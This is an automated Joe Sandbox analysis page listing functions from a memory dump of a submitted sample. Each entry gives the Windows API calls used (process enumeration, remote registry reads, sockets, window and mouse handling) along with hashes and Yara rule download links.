
API ID: MessageSend$CreateObjectStockWindow
String ID: Msctls_Progress32
API String ID: 1025951953-3636473452
Opcode ID: 9685e56ce209ff55f171d72e9360bf47365559d52e8b12fa7de46ed1dc60bcd2
Instruction ID: 36fe2d11a7f651aa13a72e85a005236a5ce8b5a7c47538873308a9eaec87ea89
Opcode Fuzzy Hash: 9685e56ce209ff55f171d72e9360bf47365559d52e8b12fa7de46ed1dc60bcd2
Instruction Fuzzy Hash: BC118EB1150219BEEF115F60CC86EEB7F6DFF09798F014115BA08A60A0C7769C21DBA4

Function 0073CCCD Relevance: 9.3, APIs: 6, Instructions: 253COMMON

Download Yara Rule

APIs

GetClientRect.USER32(?,?), ref: 0073CCF6
GetWindowRect.USER32(?,?), ref: 0073CD37
ScreenToClient.USER32(?,?), ref: 0073CD5F
GetClientRect.USER32(?,?), ref: 0073CE8C
GetWindowRect.USER32(?,?), ref: 0073CEA5

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Rect$Client$Window$Screen
String ID:
API String ID: 1296646539-0
Opcode ID: c2d8d0eae343860105a5342b121eb57fb127410a9dd3f44dd5d896e3958a1b0e
Instruction ID: 6403b1349a16991f1dd44a7d0a70a3de55c8f6510130ccf0967fa7c5d8a40410
Opcode Fuzzy Hash: c2d8d0eae343860105a5342b121eb57fb127410a9dd3f44dd5d896e3958a1b0e
Instruction Fuzzy Hash: 84B17C79A00249DBEF10CFA8C5807EEBBB1FF08340F149529EC59EB255DB38A950DB64

Function 00781BDF Relevance: 9.2, APIs: 6, Instructions: 163processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00781C18
Process32FirstW.KERNEL32(00000000,?), ref: 00781C26
__wsplitpath.LIBCMT ref: 00781C54

Part of subcall function 00741DFC: __wsplitpath_helper.LIBCMT ref: 00741E3C

_wcscat.LIBCMT ref: 00781C69
Process32NextW.KERNEL32(00000000,?), ref: 00781CDF
CloseHandle.KERNEL32(00000000,?,?,00000002,00000000), ref: 00781CF1

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wsplitpath__wsplitpath_helper_wcscat
String ID:
API String ID: 1380811348-0
Opcode ID: d56fecd2383f3e7748a8bbf24726c718391f1a88040fa2489ebfbef201b0da97
Instruction ID: 4d1f7b61dbfb52b285fb51a5974e96d533dd1c823d009c7e29189ff0f91f63e7
Opcode Fuzzy Hash: d56fecd2383f3e7748a8bbf24726c718391f1a88040fa2489ebfbef201b0da97
Instruction Fuzzy Hash: CA516FB1504340DFD720EF24D885EABB7ECEF88754F00491EF58697252DB789905CBA2

Function 00782FD6 Relevance: 9.2, APIs: 6, Instructions: 160registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00783C06: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00782BB5,?,?), ref: 00783C1D

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 007830AF
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 007830EF
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00783112
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 0078313B
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0078317E
RegCloseKey.ADVAPI32(00000000), ref: 0078318B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue
String ID:
API String ID: 3451389628-0
Opcode ID: 73982347fcee6c007c1d1dd608153abcb0c8567440c0f539924c4cb3fc16320e
Instruction ID: 3b000f268df0af1b19213bf66cf119116018e593c65bc2284d508c2d47b26649
Opcode Fuzzy Hash: 73982347fcee6c007c1d1dd608153abcb0c8567440c0f539924c4cb3fc16320e
Instruction Fuzzy Hash: 37515A31504204EFC710EF68C889E6EB7E9FF89700F04891DF55587291DB79EA05CB52

Function 007884DE Relevance: 9.2, APIs: 6, Instructions: 152windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00788540
GetMenuItemCount.USER32(00000000), ref: 00788577
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 0078859F
GetMenuItemID.USER32(?,?), ref: 0078860E
GetSubMenu.USER32(?,?), ref: 0078861C
PostMessageW.USER32(?,00000111,?,00000000), ref: 0078866D

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 3ebf48459c35ed14d07177f8046cb39970730ef54ce7ba480755e8def3e2e3e6
Instruction ID: 432ede7138f27c8b74e0d0908d81df840c0f684cee98d3f6e625ef9883932afc
Opcode Fuzzy Hash: 3ebf48459c35ed14d07177f8046cb39970730ef54ce7ba480755e8def3e2e3e6
Instruction Fuzzy Hash: E0519E71E00225EFCF51EF64C845AAEB7F4EF48310F148459E916BB352DB38AE418B95

Function 00764AC2 Relevance: 9.1, APIs: 6, Instructions: 136windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00764B10
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00764B5B
IsMenu.USER32(00000000), ref: 00764B7B
CreatePopupMenu.USER32 ref: 00764BAF
GetMenuItemCount.USER32(000000FF), ref: 00764C0D
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00764C3E

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: 2c2aec95d0dde8fadc3695da22b3669f667756152869321c419560ac96c2abdd
Instruction ID: 698adcb64687f824a078c70f0e8678f24e31498fba86b2c96f2aeab7c8fdb0a3
Opcode Fuzzy Hash: 2c2aec95d0dde8fadc3695da22b3669f667756152869321c419560ac96c2abdd
Instruction Fuzzy Hash: ED51C0B0A01249EFDF25CF68C888BADBBF4AF45318F148159EC1B9B291D7789D44CB61

Function 00778DE2 Relevance: 9.1, APIs: 6, Instructions: 136networkCOMMON

Download Yara Rule

APIs

select.WSOCK32(00000000,00000001,00000000,00000000,?), ref: 00778E7C
WSAGetLastError.WSOCK32(00000000), ref: 00778E89
__WSAFDIsSet.WSOCK32(00000000,00000001), ref: 00778EAD
#16.WSOCK32(?,?,00000000,00000000), ref: 00778EC5
_strlen.LIBCMT ref: 00778EF7
WSAGetLastError.WSOCK32(00000000), ref: 00778F6A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: ErrorLast$_strlenselect
String ID:
API String ID: 2217125717-0
Opcode ID: 4da32b94e276f512b9e213c8d3e085df3783cd5354721d9db88015e197926a36
Instruction ID: 15c080582c93c64d2bb460c1fdb61ad8b0a359e39f219386b879e5c3f13fa9c9
Opcode Fuzzy Hash: 4da32b94e276f512b9e213c8d3e085df3783cd5354721d9db88015e197926a36
Instruction Fuzzy Hash: 6B41D471600104EFCB54EBA4DD89EEEB7B9AF58350F108259F51AD7291DF38AE00CB21

Function 0073ABF5 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 0073B34E: GetWindowLongW.USER32(?,000000EB), ref: 0073B35F

BeginPaint.USER32(?,?,?), ref: 0073AC2A
GetWindowRect.USER32(?,?), ref: 0073AC8E
ScreenToClient.USER32(?,?), ref: 0073ACAB
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 0073ACBC
EndPaint.USER32(?,?,?,?,?), ref: 0073AD06
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 0079E673

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectRectangleScreenViewport
String ID:
API String ID: 2592858361-0
Opcode ID: cedffbbbabe3c175f5699279c48e6b8ee0f8810b3ad14a304db7ad4a8ec79258
Instruction ID: 612bc1cefe8f711061e9acc2fb56a1f07d2440b4ea07ff769599a2dd42a71a97
Opcode Fuzzy Hash: cedffbbbabe3c175f5699279c48e6b8ee0f8810b3ad14a304db7ad4a8ec79258
Instruction Fuzzy Hash: 9541D370105301AFDB10DF24DC86FB67BA8FB59320F044269F9A58B2A2D7399C44DB62

Function 0078E397 Relevance: 9.1, APIs: 6, Instructions: 108windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(007E1628,00000000,007E1628,00000000,00000000,007E1628,?,0079DC5D,00000000,?,00000000,00000000,00000000,?,0079DAD1,00000004), ref: 0078E40B
EnableWindow.USER32(00000000,00000000), ref: 0078E42F
ShowWindow.USER32(007E1628,00000000), ref: 0078E48F
ShowWindow.USER32(00000000,00000004), ref: 0078E4A1
EnableWindow.USER32(00000000,00000001), ref: 0078E4C5
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0078E4E8

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: d02af539fc7b0384e5d3ac0bd63f0c59be0448404e598b7340b999f0b90c3e3f
Instruction ID: 4efeb48d9dbb39eeec38bf0d3cab94ea1bf8bc323c754f488ab0d786271d4a4d
Opcode Fuzzy Hash: d02af539fc7b0384e5d3ac0bd63f0c59be0448404e598b7340b999f0b90c3e3f
Instruction Fuzzy Hash: 9C415E30641180EFDB26DF24C499F947BE1BF09314F1881A9FA5D8F6A2C779A845CB51

Function 007698BA Relevance: 9.1, APIs: 6, Instructions: 100fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 007698D1

Part of subcall function 0073F4EA: std::exception::exception.LIBCMT ref: 0073F51E
Part of subcall function 0073F4EA: __CxxThrowException@8.LIBCMT ref: 0073F533

ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,?,00000000), ref: 00769908
EnterCriticalSection.KERNEL32(?), ref: 00769924
LeaveCriticalSection.KERNEL32(?), ref: 0076999E
ReadFile.KERNEL32(0000FFFF,00000000,0000FFFF,00000000,00000000), ref: 007699B3
InterlockedExchange.KERNEL32(?,000001F6), ref: 007699D2

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterException@8LeaveThrowstd::exception::exception
String ID:
API String ID: 2537439066-0
Opcode ID: d575665f6222a33131a80998ea5cca6440d2ed775927b8878602b5807cec83a6
Instruction ID: 0585f21257faad921726331ac31fa4e0ebc0bcde30357d4ded07a978c15d9d32
Opcode Fuzzy Hash: d575665f6222a33131a80998ea5cca6440d2ed775927b8878602b5807cec83a6
Instruction Fuzzy Hash: E6319471900205EBDB10DF94DC89E6EB778FF85710F148069F905AB286D738DE11CB64

Function 00779B45 Relevance: 9.1, APIs: 6, Instructions: 99COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,007777F4,?,?,00000000,00000001), ref: 00779B53

Part of subcall function 00776544: GetWindowRect.USER32(?,?), ref: 00776557

GetDesktopWindow.USER32 ref: 00779B7D
GetWindowRect.USER32(00000000), ref: 00779B84
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00779BB6

Part of subcall function 00767A58: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?), ref: 00767AD0

GetCursorPos.USER32(?), ref: 00779BE2
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00779C44

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 59f05e1c96e8480d8a7b4ac4dfc704def66f05ad9d7b66e4b479b5c3eb83c8b7
Instruction ID: 3aedb286b0ecb8ef8ec4162e0a2d409985073b4752a36084be82970ddb317cdf
Opcode Fuzzy Hash: 59f05e1c96e8480d8a7b4ac4dfc704def66f05ad9d7b66e4b479b5c3eb83c8b7
Instruction Fuzzy Hash: F631E1B2504305ABCB20DF58D849F9AB7E9FF89354F00491AF68AD7191D634E918CB92

Function 0078EBF6 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 0073AF83: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,?,00000000), ref: 0073AFE3
Part of subcall function 0073AF83: SelectObject.GDI32(?,00000000), ref: 0073AFF2
Part of subcall function 0073AF83: BeginPath.GDI32(?), ref: 0073B009
Part of subcall function 0073AF83: SelectObject.GDI32(?,00000000), ref: 0073B033

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 0078EC20
LineTo.GDI32(00000000,00000003,?), ref: 0078EC34
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 0078EC42
LineTo.GDI32(00000000,00000000,?), ref: 0078EC52
EndPath.GDI32(00000000), ref: 0078EC62
StrokePath.GDI32(00000000), ref: 0078EC72

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 1a443f8e691619cf4e5d876019bd90e621753ade554c8123cfc0e10db175fd86
Instruction ID: 68d0d20e6e5e82adfb4a0f7aabe7689b4bf4c62dbc267503f05efeb1c105865f
Opcode Fuzzy Hash: 1a443f8e691619cf4e5d876019bd90e621753ade554c8123cfc0e10db175fd86
Instruction Fuzzy Hash: 8D11177240014DBFEF129F90DC88EEA7F6DEB09350F04C122BE099A160D7759E55DBA4

Function 0075E19B Relevance: 9.0, APIs: 6, Instructions: 48COMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 0075E1C0
GetDeviceCaps.GDI32(00000000,00000058), ref: 0075E1D1
GetDeviceCaps.GDI32(00000000,0000005A), ref: 0075E1D8
ReleaseDC.USER32(00000000,00000000), ref: 0075E1E0
MulDiv.KERNEL32(000009EC,?,00000000), ref: 0075E1F7
MulDiv.KERNEL32(000009EC,?,?), ref: 0075E209

Part of subcall function 00759AA3: RaiseException.KERNEL32(-C0000018,00000001,00000000,00000000,00759A05,00000000,00000000,?,00759DDB), ref: 0075A53A

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CapsDevice$ExceptionRaiseRelease
String ID:
API String ID: 603618608-0
Opcode ID: adca8300bac0a0c4d4960a1dc69e3c998ce7b2b3944f201c59e02e5a581e9b6c
Instruction ID: c40cc9e7429d807c115ddc30367a880b83ea75fc6c9468cf9acd57b0f8deff4b
Opcode Fuzzy Hash: adca8300bac0a0c4d4960a1dc69e3c998ce7b2b3944f201c59e02e5a581e9b6c
Instruction Fuzzy Hash: EE0184B5A40618BFEB109FA58C45B5EBFB8EB89351F008066EE05A7290DA749D01CFA0

Function 00747B47 Relevance: 9.0, APIs: 6, Instructions: 45threadCOMMON

Download Yara Rule

APIs

__init_pointers.LIBCMT ref: 00747B47

Part of subcall function 0074123A: __initp_misc_winsig.LIBCMT ref: 0074125E
Part of subcall function 0074123A: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00747F51
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00747F65
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00747F78
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00747F8B
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00747F9E
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 00747FB1
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 00747FC4
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,SetThreadStackGuarantee), ref: 00747FD7
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 00747FEA
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 00747FFD
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,WaitForThreadpoolTimerCallbacks), ref: 00748010
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolTimer), ref: 00748023
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,CreateThreadpoolWait), ref: 00748036
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,SetThreadpoolWait), ref: 00748049
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,CloseThreadpoolWait), ref: 0074805C
Part of subcall function 0074123A: GetProcAddress.KERNEL32(00000000,FlushProcessWriteBuffers), ref: 0074806F

__mtinitlocks.LIBCMT ref: 00747B4C

Part of subcall function 00747E23: InitializeCriticalSectionAndSpinCount.KERNEL32(007DAC68,00000FA0,?,?,00747B51,00745E77,007D6C70,00000014), ref: 00747E41

__mtterm.LIBCMT ref: 00747B55

Part of subcall function 00747BBD: DeleteCriticalSection.KERNEL32(00000000,00000000,?,?,00747B5A,00745E77,007D6C70,00000014), ref: 00747D3F
Part of subcall function 00747BBD: _free.LIBCMT ref: 00747D46
Part of subcall function 00747BBD: DeleteCriticalSection.KERNEL32(007DAC68,?,?,00747B5A,00745E77,007D6C70,00000014), ref: 00747D68

__calloc_crt.LIBCMT ref: 00747B7A
GetCurrentThreadId.KERNEL32 ref: 00747BA3

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: AddressProc$CriticalSection$Delete$CountCurrentHandleInitializeModuleSpinThread__calloc_crt__init_pointers__initp_misc_winsig__mtinitlocks__mtterm_free
String ID:
API String ID: 2942034483-0
Opcode ID: 6eab2f4dcd7088c19cc48cdfccc97057e00a17f6d2b46ebe06fb669af8c7f3bd
Instruction ID: 8a14ee7a8ee3b5f3fb928ef132255707a3745ce0fd9defbd4f26a7e65032c903
Opcode Fuzzy Hash: 6eab2f4dcd7088c19cc48cdfccc97057e00a17f6d2b46ebe06fb669af8c7f3bd
Instruction Fuzzy Hash: 21F096B221D31199E62D77347C0A65A2794DF02734B214B99F964D54D1FF2C8C41C5A9

Function 007227EC Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 0072281D
MapVirtualKeyW.USER32(00000010,00000000), ref: 00722825
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00722830
MapVirtualKeyW.USER32(000000A1,00000000), ref: 0072283B
MapVirtualKeyW.USER32(00000011,00000000), ref: 00722843
MapVirtualKeyW.USER32(00000012,00000000), ref: 0072284B

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: ba7beb39d28d6e899c7ab01f1fcf4a64f25c5dc27a52cbe1ef173bdc1766416e
Instruction ID: a4fe247018495b44578e221b8ca63e0cf8c28189323c49dba781e4f642b1c417
Opcode Fuzzy Hash: ba7beb39d28d6e899c7ab01f1fcf4a64f25c5dc27a52cbe1ef173bdc1766416e
Instruction Fuzzy Hash: F50167B0902B5ABDE3008F6A8C85B52FFA8FF59394F00411BA15C47A42C7F5A864CFE5

Function 00769AD5 Relevance: 9.0, APIs: 6, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.1288510667.0000000000721000.00000020.00000001.01000000.00000003.sdmp, Offset: 00720000, based on PE: true

Associated: 00000001.00000002.1288275823.0000000000720000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007AD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288572865.00000000007CE000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288626390.00000000007DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.1288656746.00000000007E4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_720000_VIAmJUhQ54.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$EnterLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 1423608774-0
